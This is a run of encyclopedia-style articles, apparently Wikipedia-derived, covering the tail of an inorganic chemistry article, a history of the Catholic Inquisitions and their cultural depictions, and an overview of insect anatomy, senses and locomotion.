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          Inorganic chemistry has greatly benefited from qualitative theories. Such theories are easier to learn as they require little background in quantum theory. Within main group compounds, VSEPR theory powerfully predicts, or at least rationalizes, the structures of main group compounds, such as an explanation for why NH3 is pyramidal whereas ClF3 is T-shaped. For the transition metals, crystal field theory allows one to understand the magnetism of many simple complexes, such as why [FeIII(CN)6]3 has only one unpaired electron, whereas [FeIII(H2O)6]3+ has five. A particularly powerful qualitative approach to assessing the structure and reactivity begins with classifying molecules according to electron counting, focusing on the numbers of valence electrons, usually at the central atom in a molecule.


          


          Molecular Symmetry Group Theory
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          A central construct in inorganic chemistry is the theory of molecular symmetry. Mathematical group theory provides the language to describe the shapes of molecules according to their " point group symmetry". Group theory also enables factoring and simplification of theoretical calculations.


          Spectroscopic features are analyzed and described with respect to the symmetry properties of the, inter alia, vibrational or electronic states. Knowledge of the symmetry properties of the ground and excited states allows one to predict the numbers and intensities of absorptions in vibrational and electronic spectra. A classic application of Group Theory is the prediction of the number of C-O vibrations in substituted metal carbonyl complexes. The most common applications of symmetry to spectroscopy involve vibrational and electronic spectra.


          As an instructional tool, Group Theory highlights commonalities and differences in the bonding of otherwise disparate species, such as WF6 and Mo(CO)6 or CO2 and NO2.


          


          Reaction pathways


          The theory of chemical reactions is more challenging than the theory for a static molecule. Marcus theory provides a powerful linkage between bonding, mechanism, and reactivity. The relative strengths of metal-ligand bonds, which can be calculated theoretically, anticipates the kinetically accessible pathways.


          


          Thermodynamics and inorganic chemistry


          An alternative quantitative approach to inorganic chemistry focuses on energies of reactions. This approach is highly traditional and empirical, but it is also useful. Broad concepts that are couched in thermodynamic terms include redox potential, acidity, phase changes. A classic concept in inorganic thermodynamics is the Born-Haber cycle, which is used for assessing the energies of elementary processes such as electron affinity, some of which cannot be observed directly.


          


          Mechanistic inorganic chemistry


          An important and increasingly popular aspect of inorganic chemistry focuses on reaction pathways. The mechanisms of reactions are discussed differently for different classes of compounds.


          


          Main group elements and lanthanides


          The mechanisms of main group compounds of groups 13-18 are usually discussed in the context of organic chemistry (organic compounds are main group compounds, after all). Elements heavier than C, N, O, and F often form compounds with more electrons than predicted by the octet rule, as explained in the article on hypervalent molecules. The mechanisms of their reactions differ from organic compounds for this reason. Elements lighter than carbon (B, Be, Li) as well as Al and Mg often form electron-deficient structures that are electronically akin to carbocations. Such electron-deficient species tend ro react via associative pathways. The chemistry of the lanthanides mirrors many aspects of chemistry seen for aluminium.


          


          Transition metal complexes


          Mechanisms for the reactions of transition metals are discussed differently from main group compounds. The important role of d-orbitals in bonding strongly influences the pathways and rates of ligand substitution and dissociation. These themes are covered in articles on coordination chemistry and ligand. Both associative and dissociative pathways are observed.


          An overarching aspect of mechanistic transition metal chemistry is the kinetic lability of the complex illustrated by the exchange of free and bound water in the prototypical complexes [M(H2O)6]n+:


          
            	[M(H2O)6]n+ + 6 H2O*  [M(H2O*)6]n+ + 6 H2O


            	where H2O* denotes isotopically enriched water, e.g. H217O

          


          The rates of water exchange varies by 20 orders of magnitude across the periodic table, with lanthanide complexes at one extreme and Ir(III) species being the slowest.


          


          Redox reactions


          Redox reactions are prevalent for the transition elements. Two classes of redox reaction are considered: atom-transfer reactions, such as oxidative addition/reductive elimination, and electron-transfer. A fundamental redox reaction is "self-exchange", which involves the degenerate reaction between an oxidant and a reductant. For example, permanganate and its one-electron reduced relative manganate exchange one electron:


          
            	[MnO4] + [Mn*O4]2  [MnO4]2 + [Mn*O4]

          


          


          Reactions at ligands


          Coordinated ligands display reactivity distinct from the free ligands. For example, the acidity of the ammonia ligands in [Co(NH3)6]3+ is elevated relative to NH3 itself. Alkenes bound to metal cations are reactive toward nucleophiles whereas alkenes normally are not. The large and industrially important area of catalysis hinges on the ability of metals to modify the reactivity of organic ligands. Homogeneous catalysis occurs in solution and heterogeneous catalysis occurs when gaseous or dissolved substrates interact with surfaces of solids. Traditionally homogeneous catalysis is considered part of organometallic chemistry and heterogeneous catalysis is discussed in the context of surface science, a subfield of solid state chemistry. But the basic inorganic chemical principles are the same. Transition metals, almost uniquely, react with small molecules such as CO, H2, O2, and C2H4. The industrial significance of these feedstocks drives the active area of catalysis.


          


          Characterization of inorganic compounds


          Because of the diverse range of elements and the correspondingly diverse properties of the resulting derivatives, inorganic chemistry is closely associated with many methods of analysis. Older methods tended to examine bulk properties such as the electrical conductivity of solutions, melting points, solubility, and acidity. With the advent of quantum theory and the corresponding expansion of electronic apparatus, new tools have been introduced to probe the electronic properties of inorganic molecules and solids. Often these measurements provide insights relevant to theoretical models. For example, measurements on the photoelectron spectrum of methane demonstrated that describing the bonding by the two-centre, two-electron bonds predicted between the carbon and hydrogen using Valence Bond Theory is not appropriate for describing ionisation processes in a simple way. Such insights led to the popularization of molecular orbital theory as fully delocalised orbitals are a more appropriate simple description of electron removal and electron excitation.


          Commonly encountered techniques are:


          
            	X-ray crystallography: This technique allows for the 3D determination of molecular structures.


            	Various forms of spectroscopy

              
                	Ultraviolet-visible spectroscopy: Historically, this has been an important tool, since many inorganic compounds are strongly colored


                	NMR spectroscopy: Besides 1H and 13C many other "good" NMR nuclei (e.g. 11B, 19F, 31P, and 195Pt) give important information on compound properties and structure. Also the NMR of paramagnetic species can result in important structural information. Proton NMR is also important because the light hydrogen nucleus is not easily detected by X-ray crystallography.


                	Infrared spectroscopy: Mostly for absorptions from carbonyl ligands


                	Electron-nuclear double resonance (ENDOR) spectroscopy


                	Mssbauer spectroscopy


                	Electron-spin resonance: ESR (or EPR) allows for the measurement of the environment of paramagnetic metal centres.

              

            


            	Electrochemistry: Cyclic voltammetry and related techniques probe the redox characteristics of compounds.

          


          


          Synthetic inorganic chemistry


          Although some inorganic species can be obtained in pure form from nature, most are synthesized in chemical plants and in the laboratory.


          Inorganic synthetic methods can be classified roughly according the volatility or solubility of the component reactants. Soluble inorganic compounds are prepared using methods of organic synthesis. For metal-containing compounds that are reactive toward air, Schlenk line and glove box techniques are followed. Volatile compounds and gases are manipulated in vacuum manifolds consisting of glass piping interconnected through valves, the entirety of which can be evacuated to 0.001 mm Hg or less. Compounds are condensed using liquid nitrogen (b.p. 78K) or other cryogens. Solids are typically prepared using tube furnaces, the reactants and products being sealed in containers, often made of fused silica (amorphous SiO2) but sometimes more specialized materials such as welded Ta tubes or Pt boats. Products and reactants are transported between temperature zones to drive reactions.


          Links


          Links to Online Inorganic Chemistry Journals
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          The word Inquisition (with a capitalized I) occurs in broad use in reference to the judgment of heresy by the Roman Catholic Church. It can mean an ecclesiastical tribunal or the institution of the Roman Catholic Church for combating or suppressing heresy; a number of historical expurgation movements against heresy (orchestrated by the Roman Catholic Church); or the trial of an individual accused of heresy.


          


          Inquisition tribunals and institutions


          Before the twelfth century, the Catholic Church gradually suppressed heresy, usually through a system of ecclesiastical proscription and imprisonment. Although many states allowed the Church to use the death penalty, initially it was not frequently imposed, as this form of punishment had many ecclesiastical opponents.


          In the 12th century, in order to counter the spread of Catharism, prosecutions against heresy became more frequent. The Church charged councils composed of bishops and archbishops with establishing inquisitions. (see Episcopal Inquisition)


          In the 13th century, the pope assigned the duty of carrying out inquisitions to the Dominican Order. Inquisitors acted in the name of the Pope and with his full authority. They used inquisitorial procedures, a legal practice commonly used at the time. They judged heresy alone, using the local authorities to establish a tribunal and to prosecute heretics. After the end of the fifteenth century, a Grand Inquisitor headed each Inquisition. Inquisition in this way persisted until the 19th century.


          In the 16th century, Pope Paul III established a system of tribunals, ruled by the "Supreme Sacred Congregation of the Universal Inquisition", and staffed by cardinals and other Church officials. This system would later become known as the Roman Inquisition. In 1908 Saint Pope Pius X renamed the organisation: it became the "Supreme Sacred Congregation of the Holy Office". This in its turn became the Congregation for the Doctrine of the Faith in 1965, which name continues to this day.


          


          Purpose


          A 1578 handbook for inquisitors spelled out the purpose of inquisitorial penalties: ... quoniam punitio non refertur primo & per se in correctionem & bonum eius qui punitur, sed in bonum publicum ut alij terreantur, & a malis committendis avocentur. [Translation from the Latin: "... for punishment does not take place primarily and per se for the correction and good of the person punished, but for the public good in order that others may become terrified and weaned away from the evils they would commit."]


          


          Historic Inquisition movements


          Historians distinguish between four different manifestations of the Inquisition: the Medieval Inquisition (1184- ), the Spanish Inquisition (1478-1834), the Portuguese Inquisition (1536-1821) and the Roman Inquisition (1542- ).


          Because of its objective  combating heresy  the Inquisition had jurisdiction only over baptized members of the Church (which, however, encompassed the vast majority of the population in Catholic countries). Secular courts could still try non-Christians for blasphemy. Most of the witch trials went through secular courts.


          Different areas faced different situations with regard to heresies and suspicion of heresies. Most of Medieval Western and Central Europe had a long-standing veneer of Catholic standardization, with intermittent localized outbreaks of new ideas and periodic anti-Semitic/ anti-Judaic activity. Exceptionally, Portugal and Spain in the late Middle Ages consisted largely of territories fairly recently conquered from a sophisticated and tolerant Arab civilization, and the new overlords could not assume that all their newer subjects would suddenly become and remain compliant true-believer orthodox Catholics. So the Inquisition in Iberia had a special socio-political basis as well as more conventional religious motives.  With the rise of Protestantism and other heretical ideas of the Renaissance, the extirpation of heretics became a much larger and more complex enterprise, complicated by the politics of territorial Protestant powers, especially in northern Europe: war, massacres and the educational and propagandistic work of the Counter-Reformation became more common than a judicial approach to heresy in these circumstances.


          


          Medieval Inquisition


          Historians use the term 'Medieval Inquisition" to describe the various inquisitions that started around 1184, including the Episcopal Inquisition (1184-1230s) and later the Papal Inquisition (1230s). These inquisitions comprised the legal response to large popular movements throughout Europe considered apostate or heretical to Christianity, in particular the Cathars and Waldensians in southern France and northern Italy. Other Inquisitions followed after these first inquisition movements.


          


          Spanish Inquisition
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          King Ferdinand II of Aragon and Queen Isabella I of Castile set up the Spanish Inquisition in 1478 with the approval of Pope Sixtus IV. In contrast to the previous inquisitions, it operated completely under royal authority, though staffed by secular clergy and orders, and independently of the Holy See. It targeted primarily converts from Judaism ( Maranos or secret Jews) and from Islam ( Moriscos or secret Moors)  both formed large groups still residing in Spain after the end of the Moorish control of Spain  who came under suspicion of either continuing to adhere to their old religion (often after having converted under duress) or of having fallen back into it. Somewhat later the Spanish Inquisition took an interest in Protestants of virtually any sect. In the Spanish possessions of the Kingdom of Sicily and the Kingdom of Naples in southern Italy, which formed part of the Spanish Crown's hereditary possessions, it also targeted Greek Orthodox Christians. After the intensity of religious disputes waned in the 17th century, the Spanish Inquisition developed more and more into a secret police force working against internal threats to the state.


          The Spanish Inquisition would subsequently operate in certain Spanish colonies: see for example the Peruvian Inquisition and the Mexican Inquisition. The Spanish Inquisition also operated in the Philippines, Guatemala, New Granada, and the Canary Islands. It continued to function in the Americas until the Mexican War of Independence (1810-1821). In South America Bolvar abolished the Inquisition; in Spain survived until 1834.


          


          Portuguese Inquisition


          
            [image: Copper engraving intitled "Die Inquisition in Portugall", by Jean David Zunner from the work Description de L'Univers, Contenant les Differents Systemes de Monde, Les Cartes Generales & Particulieres de la Geographie Ancienne & Moderne by Alain Manesson Mallet, Frankfurt, 1685.]

            
              Copper engraving intitled "Die Inquisition in Portugall", by Jean David Zunner from the work Description de L'Univers, Contenant les Differents Systemes de Monde, Les Cartes Generales & Particulieres de la Geographie Ancienne & Moderne by Alain Manesson Mallet, Frankfurt, 1685.
            

          


          The Portuguese Inquisition formally started in Portugal in 1536 at the request of the King of Portugal, Joo III. Manuel I had asked for the installation of the Inquisition in 1515, but only after his death did the pope acquiesce. However, many place the actual beginning of the Portuguese Inquisition during the year of 1497, when many Jews were expelled from Portugal and others were forcibly converted to Catholicism. The major target of the Portuguese Inquisition were mainly the Sephardic Jews that had been expelled from Spain in 1492 (see Alhambra decree); after 1492 many of these Spanish Jews left Spain for Portugal but were eventually targeted there as well.


          The Inquisition came under the authority of the King. It was headed by a Grand Inquisitor, or General Inquisitor, named by the Pope but selected by the king, and always from within the royal family. The Grand Inquisitor would later nominate other inquisitors. In Portugal, the first Grand Inquisitor was Cardinal Henry, who would later become King. There were Courts of the Inquisition in Lisbon, Porto, Coimbra, and vora.


          The Portuguese Inquisition held its first auto da f in Portugal in 1540. It concentrated its efforts on rooting out converts from other faiths (overwhelmingly Judaism) who did not adhere to the strictures of Catholic orthodoxy; the Portuguese inquisitors mostly targeted the Jewish " New Christians," " conversos," or " marranos."


          The Portuguese Inquisition expanded its scope of operations from Portugal to Portugal's colonial possessions, including Brazil, Cape Verde, and Goa, where it continued as a religious court, investigating and trying cases of breaches of the tenets of orthodox Roman Catholicism until 1821.


          Joo III extended the activity of the courts to cover book- censorship, divination, witchcraft and bigamy. Book-censorship proved to have a strong influence in Portuguese cultural evolution, keeping the country uninformed and culturally backward. Originally oriented for a religious action, the Inquisition had an influence in almost every aspect of Portuguese society: politically, culturally and socially.


          The Goa Inquisition, another inquisition rife with antisemitism and anti-Hinduism that mostly targeted Jews and Hindus, started in Goa in 1560. Aleixo Dias Falco and Francisco Marques set it up in the palace of the Sabaio Adil Khan.


          According to Henry Charles Lea between 1540 and 1794 tribunals in Lisbon, Porto, Coimbra and vora resulted in the burning of 1,175 persons, the burning of another 633 in effigy, and the penancing of 29,590. But documentation of fifteen out of 689 Autos-da-f has disappeared, so these numbers may slightly understate the activity.


          The "General Extraordinary and Constituent Courts of the Portuguese Nation" abolished the Portuguese inquisition in 1821.


          


          Roman Inquisition


          In 1542, Pope Paul III established the Congregation of the Holy Office of the Inquisition as a permanent congregation staffed with cardinals and other officials. It had the tasks of maintaining and defending the integrity of the faith and of examining and proscribing errors and false doctrines; it thus became the supervisory body of local Inquisitions. Arguably the most famous case tried by the Roman Inquisition was that of Galileo Galilei in 1633. Because of Rome's power over the Papal States, Roman Inquisition activity continued until the mid-1800s.


          In 1908 the name of the Congregation became "The Sacred Congregation of the Holy Office", which in 1965 was further changed to " Congregation for the Doctrine of the Faith", as retained to the present day. The Congregation is presided by a cardinal appointed by the Pope, and usually includes ten other cardinals, as well as a prelate and two assistants all chosen from the Dominican Order. The Holy Office also has an international group of consultants, experienced scholars of theology and canon law, who advise it on specific questions.


          


          Recent investigations into the Inquisition


          In 2000 Pope John Paul II called for an "Inquisition Symposium", and opened the Vatican to 30 external historians. Their findings discounted certain long-held beliefs. It emerged that more women accused of witchcraft died in the Protestant countries than under the Inquisition. For example, the Inquisition burned 59 women in Spain, 36 in Italy and 4 in Portugal, while in Europe civil justice put to trial close to 100,000 women and burned 50,000 of them. 26,000 condemned "witches" died in Germany.


          


          Derivative works


          The Inquisitions appear in many cultural works. Some include:


          
            	The Spanish Inquisition, the subject of a classic Monty Python sketch ("Nobody expects the Spanish Inquisition!"), became referenced conspicuously in the film Sliding Doors.


            	The short story by Edgar Allan Poe, The Pit and the Pendulum takes place against the background of the Spanish Inquisition.


            	In the alternative history novel The Two Georges by Harry Turtledove and Richard Dreyfuss, the Spanish Inquisition remains active, in Spain itself and throughout Latin America, during the whole of the twentieth century.


            	A body known as the Inquisition exists in the fictional Warhammer 40,000 universe.


            	Mel Brooks's 1981 film The History of the World, Part I contains a musical number about the Spanish Inquisition.


            	In Terry Pratchett's Small Gods, the Omnian church has a Quisition, with sub-sections called Inquisition and Exquisition.


            	In J.K. Rowling's 2003 book Harry Potter and the Order of the Phoenix, Professor Dolores Umbridge sets up an Inquisition at Hogwarts School of Witchcraft and Wizardry, with herself as the High Inquisitor.


            	The "Dark Ages" setting in the World of Darkness (WoD) fantasy universe makes heavy use of the Inquisition: that particular setting takes place during the early 13th century.


            	The computer game " Lionheart: Legacy of the Crusader" made by the former Black Isle Studios uses the Spanish Inquisition as a key plot for the storyline and development of the game.


            	Man of La Mancha, a Broadway musical, tells the story of the classic novel Don Quixote as a play-within-a-play performed by prisoners as they await a hearing with the Spanish Inquisition.


            	Starways Congress forms an element of the Ender-verse by Orson Scott Card. In the latter books, they play an important part in determining the fate of Lusitania. In Speaker for the Dead, Ender Wiggin threatens to become an Inquisitor and revoke the catholic licence of Lusitania, thus ruining the fragile catholic culture there.


            	The 2006 film The Fountain features elements of the Spanish Inquisition.


            	Voltaire's satire Candide has a scene featuring the Portuguese Inquisition, with the title-character and Dr. Pangloss both found guilty of heresy.


            	Dave Sim's award-winning independent comic book Cerebus the Aardvark featured Inquisition-inspired characters in the High Society issues of the series.


            	The 2006 film Goya's Ghosts starring Stellan Skarsgrd, Natalie Portman, and Javier Bardem features the Spanish Inquisition. In the film, the painter Goya (Skarsgrd) attempts to save his muse, Ines (Portman), from persecution by the Holy Office. He turns to Brother Lorenzo (Bardem) for help who, unknown to Goya, has an agenda of his own.
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          Insects ( Class Insecta) are a major group of arthropods and the most diverse group of animals on the Earth, with over a million described speciesmore than half of all known living organismswith estimates of undescribed species as high as 30 million, thus potentially representing over 90% of the differing life forms on the planet. Insects may be found in nearly all environments on the planet, although only a small number of species occur in the oceans, a habitat dominated by another arthropod group, the crustaceans.


          There are approximately 5,000 dragonfly species, 2,000 praying mantis, 20,000 grasshopper, 170,000 butterfly and moth, 120,000 fly, 82,000 true bug, 360,000 beetle, and 110,000 bee, wasp and ant species described to date. Estimates of the total number of current species, including those not yet known to science, range from two million to fifty million, with newer studies favouring a lower figure of about six to ten million. Adult modern insects range in size from a 0.139mm (0.00547 in) fairyfly ( Dicopomorpha echmepterygis) to a 55.5cm (21.9in) long stick insect ( Phobaeticus serratipes). The heaviest documented insect was a Giant Weta of 70 g (2 oz), but other possible candidates include the Goliath beetles Goliathus goliatus, Goliathus regius and Cerambycid beetles such as Titanus giganteus, though no one is certain which is truly the heaviest.


          The study of insects (from Latin insectus, meaning "cut into sections") is called entomology, from the Greek , also meaning "cut into sections".


          


          Body structure


          Insects possess segmented bodies supported by an exoskeleton, a hard outer covering made mostly of chitin. The segments of the body are organized into three distinctive but interconnected units, or tagmata; a head, a thorax, and an abdomen. The head supports a pair of sensory antennae, a pair of compound eyes, one to three simple eyes (" ocelli") and three sets of variously modified appendages that form the mouthparts. The thorax has six segmented legs (one pair each for the prothorax, mesothorax and the metathorax segments making up the thorax) and two or four wings (if present in the species). The abdomen (made up of eleven segments some of which may be reduced or fused) has most of the digestive, respiratory, excretory and reproductive internal structures.


          


          Nervous system


          Their nervous system can be divided into a brain and a ventral nerve cord. The head capsule (made up of six fused segments) has six pairs of ganglia. The first three pairs are fused into the brain, while the three following pairs are fused into a structure called the subesophageal ganglion.


          The thoracic segments have one ganglion on each side, which are connected into a pair, one pair per segment. This arrangement is also seen in the abdomen but only in the first eight segments. Many species of insects have reduced numbers of ganglia due to fusion or reduction. Some cockroaches have just six ganglia in the abdomen, whereas the wasp Vespa crabro has only two in the thorax and three in the abdomen. And some, like the house fly Musca domestica, have all the body ganglia fused into a single large thoracic ganglion.


          Until very recently, no one had ever documented the presence of nociceptors (the cells that detect and transmit sensations of pain) in insects (e.g., ), though recent findings of nociception in larval fruit flies challenges this and raises the possibility that some insects may be capable of feeling pain.


          


          Respiration and circulation


          Insect respiration is accomplished without lungs, using a system of internal tubes and sacs through which gases either diffuse or are actively pumped, delivering oxygen directly to the adjoining body tissues (see Invertebrate trachea). Since oxygen is delivered directly, the circulatory system is not used to carry oxygen, and is therefore greatly reduced; it has no closed vessels (i.e., no veins or arteries), consisting of little more than a single, perforated dorsal tube which pulses peristaltically, and in doing so helps circulate the hemolymph inside the body cavity. Air is taken in through spiracles, openings on the sides of the abdomen.


          


          Exoskeleton
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          Most higher insects have two pairs of wings located on the second and third thoracic segments. Insects are the only invertebrates to have developed flight, and this has played an important part in their success. The winged insects, and their wingless relatives, make up the subclass Pterygota. Insect flight is not very well understood, relying heavily on turbulent aerodynamic effects. The primitive insect groups use muscles that act directly on the wing structure. The more advanced groups making up the Neoptera have foldable wings and their muscles act on the thorax wall and power the wings indirectly. These muscles are able to contract multiple times for each single nerve impulse, allowing the wings to beat faster than would ordinarily be possible (see insect flight).


          Their outer skeleton, the cuticle, is made up of two layers; the epicuticle which is a thin and waxy water resistant outer layer and contains no chitin, and another layer under it called the procuticle. This is chitinous and much thicker than the epicuticle and has two layers, the outer being the exocuticle while the inner is the endocuticle. The tough and flexible endocuticle is built from numerous layers of fibrous chitin and proteins, criss-crossing each others in a sandwich pattern, while the exocuticle is rigid and sclerotized. The exocuticle is greatly reduced in many soft-bodied insects, especially the larval stages (e.g., caterpillars).


          


          Development
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          Most insects hatch from eggs, but some are ovoviviparous or viviparous, and all undergo a series of moults as they develop and grow in size. This manner of growth is necessitated by the inelastic exoskeleton. Moulting is a process by which the individual escapes the confines of the exoskeleton in order to increase in size, then grows a new and larger outer covering. In some insects, the young are called nymphs and are similar in form to the adult except that the wings are not developed until the adult stage. This is called incomplete metamorphosis and insects showing this are termed hemimetabolous. Holometabolous insects show complete metamorphosis, which distinguishes the Endopterygota and includes many of the most successful insect groups. In these species, an egg hatches to produce a larva, which is generally worm-like in form, and can be divided into five different forms; eruciform (caterpillar-like), scarabaeiform (grublike), campodeiform (elongated, flattened, and active), elateriform (wireworm-like) and vermiform (maggot-like). The larva grows and eventually becomes a pupa, a stage marked by reduced movement and foten sealed within a cocoon. There are three types of pupae; obtect (the pupa is compact with the legs and other appendages enclosed), exarate (where the pupa has the legs and other appendages free and extended) and coarctate (where the pupa develops inside the larval skin). In the pupal stage, the insect undergoes considerable change in form to emerge as an adult, or imago. Butterflies are an example of an insect that undergoes complete metamorphosis. Some insects have even evolved hypermetamorphosis.


          Some insects (parastic wasps) show polyembryony where a single fertilized egg can divide into many and in some cases thousands of separate embryos. Other developmental and reproductive variations include haplodiploidy, polymorphism, paedomorphosis (metathetely and prothetely), sexual dimorphism, parthenogenesis and more rarely hermaphroditism.


          


          Senses and communication
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          Many insects possess very sensitive and/or specialized organs of perception. Some insects such as bees can perceive ultraviolet wavelengths, or detect polarized light, while the antennae of male moths can detect the pheromones of female moths over distances of many kilometres. There is a pronounced tendency for there to be a trade-off between visual acuity and chemical or tactile acuity, such that most insects with well-developed eyes have reduced or simple antennae, and vice-versa. There are a variety of different mechanisms by which insects perceive sound, and it is by no means universal; the general pattern, however, is that if an insect can produce sound, then it can also hear sound, though the range of frequencies they can hear is often quite narrow (and may in fact be limited to only the frequency that they themselves produce). Some nocturnal moths can perceive the ultrasonic emissions of bats, a mechanism which helps them avoid predation. Certain predatory and parasitic insects can detect the characteristic sounds made by their prey/hosts. Bloodsucking insects have special sensory structures that can detect infrared emissions, and use them to home in on their hosts.
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          A few such insects also have a well-developed number sense, among the solitary wasps that provision with a single species of prey. The mother wasp lays her eggs in individual cells and provides each egg with a number of live caterpillars on which the young feed when hatched. Some species of wasp always provide five, others twelve, and others as high as twenty-four caterpillars per cell. The number of caterpillars is different among species, but it is always the same for each sex of larvae. The male solitary wasp in the genus Eumenes is smaller than the female, so the mother of one species supplies him with only five caterpillars; the larger female receives ten caterpillars in her cell. She can in other words distinguish between both the numbers five and ten in the caterpillars she is providing and which cell contains a male or a female.


          


          Light production and vision


          A few insects, such as members of the families Poduridae and Onychiuridae (Collembola), Mycetophilidae (Diptera), and the beetle families Lampyridae, Phengodidae, Elateridae and Staphylinidae are bioluminescent. The most familiar group are the fireflies, beetles of the family Lampyridae. Some species are able to control this light generation to produce flashes. The function varies with some species using them to attract mates, while others use them to lure prey. Cave dwelling larvae of Arachnocampa (Mycetophilidae, Fungus gnats) glow to lure small flying insects into sticky strands of silk. Some fireflies of the genus Photuris mimic the flashing of female Photinus species to attract males of that species, which are then capture and devoured. The colours of emitted light vary from dull blue (Orfelia fultoni, Mycetophilidae) to the familiar greens and the rare reds (Phrixothrix tiemanni, Phengodidae).


          Most insects except some species of cave dwelling crickets are able to perceive light and dark. Many species have acute vision capable of detecting minute movements. The eyes include simple eyes or ocelli as well as compound eyes of varying sizes. Many species are able to detect light in the infrared, ultraviolet as well as the visible light wavelengths. Colour vision has been demonstrated in many species.
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          Sound production and hearing


          Insects were the earliest organisms to produce sounds and to sense them. Soundmaking in insects is achieved mostly by mechanical action of appendages. In the grasshoppers and crickets this is achieved by stridulation. The cicadas have the loudest sounds among the insects and have special modifications to their body and musculature to produce and amplify sounds. Some species such as the African cicada, Brevisana brevis have been measured at 106.7 decibels at a distance of 50cm (20in). Some insects, such as the hawk moths and Hedylid butterflies, can hear ultrasound and take evasive action when they sense detection by bats. Some moths produce ultrasound clicks and these were earlier thought to have a role in jamming the bat echolocation, but it was subsequently found that these are produced mostly by unpalatable moths to warn bats, just as warning colourations are used against predators that hunt by sight. These calls are also made by other moths involved in mimicry.


          Very low sounds are also produced in various species of Neuroptera, Lepidoptera ( butterflies and moths), Coleoptera and Hymenoptera produced by the mechanical actions of movement often aided by special microscopic stridulatory structures.


          Most sound-making insects also have tympanal organs that can perceive airborne sounds. Most insects are also able to sense vibrations transmitted by the substrate. Communication using substrate-borne vibrational signals is more widespread among insects because of the size constraints in producing air-borne sounds. Insects cannot effectively produce low-frequency sounds, and high-frequency sounds tend to disperse more in a dense environment (such as foliage), so insects living in such environments communicate primarily using substrate-borne vibrations. The mechanisms of production of vibrational signals are just as diverse as those for producing sound in insects.


          Some species use vibrations for communicating within members of the same species, such as to attract mates as in the songs of the shield bug Nezara viridula while it can also be used to communicate between entirely different species, such as between ants and myrmecophilous lycaenid caterpillars.


          The Madagascar hissing cockroach has the ability to press air through the spiracles to make a hissing noise, and the Death's-head Hawkmoth makes a squeaking noise by forcing air out of their pharynx.


          


          Chemical communication


          In addition to the use of sound for communication, a wide range of insects have evolved chemical means for communication. These chemicals, termed semiochemicals, are often derived from plant metabolites include those meant to attract, repel and provide other kinds of information. While some chemicals are targeted at individuals of the same species, others are used for communication across species. The use of scents is especially well known to have developed in social insects.


          


          Social behaviour


          
            [image: A termite mound made by the cathedral termite]

            
              A termite mound made by the cathedral termite
            

          


          Social insects, such as the termites, ants and many bees and wasps, are the most familiar species of eusocial animal. They live together in large well-organized colonies that may be so tightly integrated and genetically similar that the colonies of some species are sometimes considered superorganisms. It is sometimes argued that the various species of honey bee are the only invertebrates (and indeed one of the few non-human groups) to have evolved a system of abstract symbolic communication (i.e., where a behaviour is used to represent and convey specific information about something in the environment), called the " dance language" - the angle at which a bee dances represents a direction relative to the sun, and the length of the dance represents the distance to be flown.


          Only those insects which live in nests or colonies demonstrate any true capacity for fine-scale spatial orientation or "homing" - this can be quite sophisticated, however, and allow an insect to return unerringly to a single hole a few millimetres in diameter among a mass of thousands of apparently identical holes all clustered together, after a trip of up to several kilometres' distance, and (in cases where an insect hibernates) as long as a year after last viewing the area (a phenomenon known as philopatry). A few insects migrate, but this is a larger-scale form of navigation, and often involves only large, general regions (e.g., the overwintering areas of the Monarch butterfly).


          


          Care of young


          Most insects lead short lives as adults, and rarely interact with one another except to mate, or compete for mates. A small number exhibit some form of parental care, where they will at least guard their eggs, and sometimes continue guarding their offspring until adulthood, and possibly even actively feeding them. Another simple form of parental care is to construct a nest (a burrow or an actual construction, either of which may be simple or complex), store provisions in it, and lay an egg upon those provisions. The adult does not contact the growing offspring, but it nonetheless does provide food. This sort of care is typical of bees and various types of wasps.


          


          Locomotion


          


          Flight


          Insects are the only group of invertebrates to have developed flight. The evolution of insect wings has been a subject of debate. Some proponents suggest that the wings are para-notal in origin while others have suggested they are modified gills. In the Carboniferous age, some of the Meganeura dragonflies had as much as a 50cm (20in) wide wingspan. The appearance of gigantic insects has been found to be consistent with high atmospheric oxygen. The percentage of oxygen in the atmosphere found from ice core-samples was as high as 35% compared to the current 21%. The respiratory system of insects constrains their size, however the high oxygen in the atmosphere allowed larger sizes. The largest flying insects today are much smaller and include several moth species such as the Atlas moth and the White Witch ( Thysania agrippina).


          Insect flight has been a topic of great interest in aerodynamics due partly to the inability of steady-state theories to explain the lift generated by the tiny wings of insects.


          In addition to powered flight, many of the smaller insects are also dispersed by winds. These include the aphids which are often transported long distances by low-level jet streams.


          


          Walking


          Many adult insects use six legs for walking and have adopted a tripedal gait. The tripedal gait allows for rapid walking whilst always having a stable stance and has been studied extensively in cockroaches. The legs are used in alternate triangles touching the ground. For the first step the middle right leg and the front and rear left legs are in contact with the ground and move the insect forward, whilst the front and rear right leg and the middle left leg are lifted and moved forward to a new position. When they touch the ground to form a new stable triangle the other legs can be lifted and brought forward in turn and so on.


          The purest form of the tripedal gait is seen in insects moving at speed. However, this type of locomotion is not rigid and insects can adapt a variety of gaits; for example, when moving slowly, turning, or avoiding obstacles, four or more feet may be touching the ground. Insects can also adapt their gait to cope with the loss of one or more limbs.


          Cockroaches are amongst the fastest insect runners and at full speed actually adopt a bipedal run to reach a high velocity in proportion to their body size. As Cockroaches move extremely rapidly, they need recording at several hundred frames per second to reveal their gait. More sedate locomotion is also studied by scientists in stick insects Phasmatodea.


          A few insects have evolved to walk on the surface of the water, especially the bugs of the family, Gerridae, also known as water striders. A few species of ocean-skaters in the genus Halobates even live on the surface of open oceans, a habitat that has few insect species.


          Insect walking is of particular interest as an alternative form of locomotion to the use of wheels for robots ( Robot locomotion).


          


          Swimming
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              The backswimmer Notonecta glauca underwater, showing the paddle like hindleg adaptation
            

          


          A large number of insects live either parts or the whole of their lives underwater. In many of the more primitive orders the immature stages are aquatic while some other groups have aquatic adults as well.


          Many of these species have adaptations to help in locomotion under water. The water beetles and water bugs have legs adapted into paddle like structures. Dragonfly naiads, use jet propulsion, forcibly expelling water out of the rectal chamber.


          Some species like the water striders are capable of walking on the surface of water. They can do this because their claws are not at the tips of the legs as in most insects, but recessed in a special groove further up the leg; this prevents the claws from piercing the water's surface film. Other insects such as the Rove beetle Stenus are known to emit salivary secretions that reduce surface tension making it possible for them to move on the surface of water by Marangoni propulsion (also known by the German term Entspannungsschwimmen).


          Species that are submerged also have adaptations to aid in respiration. Many larval forms have gills that can extract oxygen dissolved in water, while others need to rise to the water surface to replenish air supplies which may be held or trapped in special structures.


          


          Evolution


          The relationships of insects to other animal groups remain unclear. Although more traditionally grouped with millipedes and centipedes, evidence has emerged favoring closer evolutionary ties with the crustaceans. In the Pancrustacea theory insects, together with Remipedia and Malacostraca, make up a natural clade.


